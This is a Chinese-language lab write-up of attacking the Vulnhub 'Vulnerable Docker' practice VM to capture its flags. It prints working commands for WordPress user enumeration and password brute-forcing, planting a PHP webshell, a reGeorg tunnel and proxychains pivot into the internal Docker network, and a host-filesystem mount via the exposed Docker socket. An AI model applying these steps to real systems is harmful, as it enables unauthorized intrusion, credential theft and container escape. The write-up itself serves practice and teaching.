記一次對Vulnerable Docker靶機滲透全過程
前言
Vulnhub它是一個提供各種漏洞環境的平臺,裡面大部分的環境是要用VMware或者VirtualBox開啟執行的。
今天我主要是使用VMware搭建一個Vulnerable Docker靶機環境,主要是為了練習使用。
完整找出所有flag只是基本任務,實現提權才是終極目標。我並不追求最快奪旗,而是儘可能運用所學的知識完整的運用在這套靶機中,所以,
這篇文章中,或許某些內容對拿到flag無直接幫助,但在應對真實目標時,還是有一點幫助的。
0x01:Vulnerable Docker靶機下載
ofollow,noindex" target="_blank">https://www.vulnhub.com
裡面有各種各樣的映象,可以下載到自己的機子上面練習。
(需要我們注意的是,下載靶機環境的時候,我們需要提前看清這個靶機環境是否支援VMware的安裝,否則就不可以安裝在VWMare上面)
今天我們選擇的是使用Vulnerable Docker: 1靶機環境
首先:這個靶機環境支援VMware環境的安裝。
其次:靶機環境比較簡單(flag只有三個)
靶機下載地址:Download: https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova
0x02:Vulnerable Docker靶機安裝
下載完成之後就會看見有ova格式的檔案
雙擊匯入VMware中就可以了(具體操作過程)
點選下一步:
最後等待匯入完成,匯入速度看本機效能和映象的大小
再對靶機環境進行配置一下:
啟動Vulnerable Docker靶機就可以看見
0x03:完成任務!
作者給我們的描述是:這裡裡面有三個flag(其中的flag_2被髮行者無意中遺漏了)
We have planted 3 flag files across the various machines / systems that are available to you Your mission if you choose to accept would be as following: Identify all the flags (2 in total: flag_1 and flag_3) (flag_2 was inadvertently left out)
1:網路掃描
啟動Vulnerable Docker靶機就可以看見:
使用nmap對靶機IP地址進行掃描:
nmap -A 192.168.232.134
2:flag_1
我們先開啟8000埠,看看有沒有flag:
使用WPscan進行漏洞掃描:
wpscan --url http://192.168.232.134:8000/
開啟連結: http://192.168.232.134:8000/robots.txt
使用WPscan進行列舉使用者名稱:
wpscan --url http://192.168.232.134:8000/ --enumerate u
按照正常思維對使用者名稱進行爆破:
wpscan --url http://192.168.232.134:8000/ -e u --wordlist /root/桌面/1.txt
並沒有爆破得到任何資訊(QAQ):
這個時候需要我們再回頭開始看起,看見一個連結,wordpress的登入埠: http://192.168.232.134:8000/wp-admin/
使用剛剛爆破出來的使用者名稱bob填進去就可以了,而在這裡的密碼需要使用burp進行爆破(具體操作過程)
爆破得到:
成功登入後臺(經過一系列的亂翻之後就會找到)
3:flag_3
這下面的操作是在我的另一個kali中的操作(具體原因下文會提到)
如果可以進入Wordpress的後臺,那麼拿shell就很簡單了,使用線上編輯功能就可以。
使用菜刀上傳一句話(php)
連上shell後收集了下面的一些資訊
資料庫中的資訊:
define('DB_NAME', 'wordpress'); define('DB_USER', 'wordpress'); define('DB_PASSWORD', 'WordPressISBest'); define('DB_HOST', 'db:3306');
系統是 Linux 8f4bca8ef241 3.13.0-128-generic #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017 x86_64 GNU/Linux,使用者是
www-data,這麼新的系統直接就可以放棄提權了,否則Dirty COW之類的洞還是超級好用的,不過我們可以參考下面這一篇文章,找到一點靈感
可以參考Tunnel Manager – From RCE to Docker Escape: https://paper.seebug.org/396/
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 5: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff inet 172.18.0.2/16 scope global eth0 valid_lft forever preferred_lft forever
想起題目是Vulnerable Docker VM,猜想應該就是docker.sock或者HTTP API未授權訪問之類的問題,不過翻了下沒找到什麼。
但是看機器的IP,感覺這個虛擬機器裡面應該還有個docker network的內網,簡單的ping了下,發現至少是存在172.18.0.1-4的,這時候
需要做一下內網穿透,這樣方便在我的電腦上操作,否則shell裡面缺少很多工具和依賴,比較麻煩。
我使用的是 reGeorg: https://github.com/sensepost/reGeorg
curl -o tunnel.php https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php
瀏覽器訪問了一下,顯示Georg says,’All seems fine’
本地電腦上執行python reGeorgSocksProxy.py -u http://192.168.30.171:8000/tunnel.php
[INFO]Log Level set to [INFO] [INFO]Starting socks server [127.0.0.1:8888], tunnel at [http://192.168.30.171:8000/tunnel.php] [INFO]Checking if Georg is ready [INFO]Georg says, 'All seems fine'
因為reGeorg提供的是socks5代理,所以需要本地使用proxychains具體配置不多說了
proxychains mysql -u wordpress -pWordPressISBest -h 172.18.0.4 連線資料庫,
但是並沒有找到什麼 flag,然後繼續掃內網,還是nmap那一堆命令加上proxychains字首就好。
然後發現一個IP有個奇怪的埠
Nmap scan report for 172.18.0.3 Host is up (0.0062s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcpopenssh 8022/tcp openoa-system
curl看了下,貌似是一個網頁,然後在設定了瀏覽器的socks5代理,就看到了,原來是一個網頁版ssh,而且這裡面終於有docker.sock。
接下來就是老套路了,可以參考 :Docker學習與remote API未授權訪問分析和利用: https://www.secpulse.com/archives/55928.html
而我是直接在另一個kali中裡面安裝了一個docker,這樣就可以操作主機上的docker了。
然後使用volume掛載主機上的所有檔案到一個目錄
docker run -it --rm -v /:/vol wordpress /bin/bash
這樣就可以看到flag_3了
關於這一個靶機漏洞可以學習到很多知識
首先:關於wordpress漏洞
其次:提權中遇到的關於Tunnel Manager – From RCE to Docker Escape漏洞
最後:關於Docker的自學以及Docker學習與remote API未授權訪問分析和利用
參考資料
Vulnerable Docker靶機下載: https://www.vulnhub.com/entry/vulnerable-docker-1,208/
Docker學習與remote API未授權訪問分析和利用: https://www.secpulse.com/archives/55928.html
WPScan使用完整教程之記一次對WordPress的滲透過程: https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=46194&page=1#pid511454
Docker學習: https://www.bilibili.com/video/av17854410?from=search&seid=13990341548063716463
Tunnel Manager – From RCE to Docker Escape: https://paper.seebug.org/396/
reGeorg: https://github.com/sensepost/reGeorg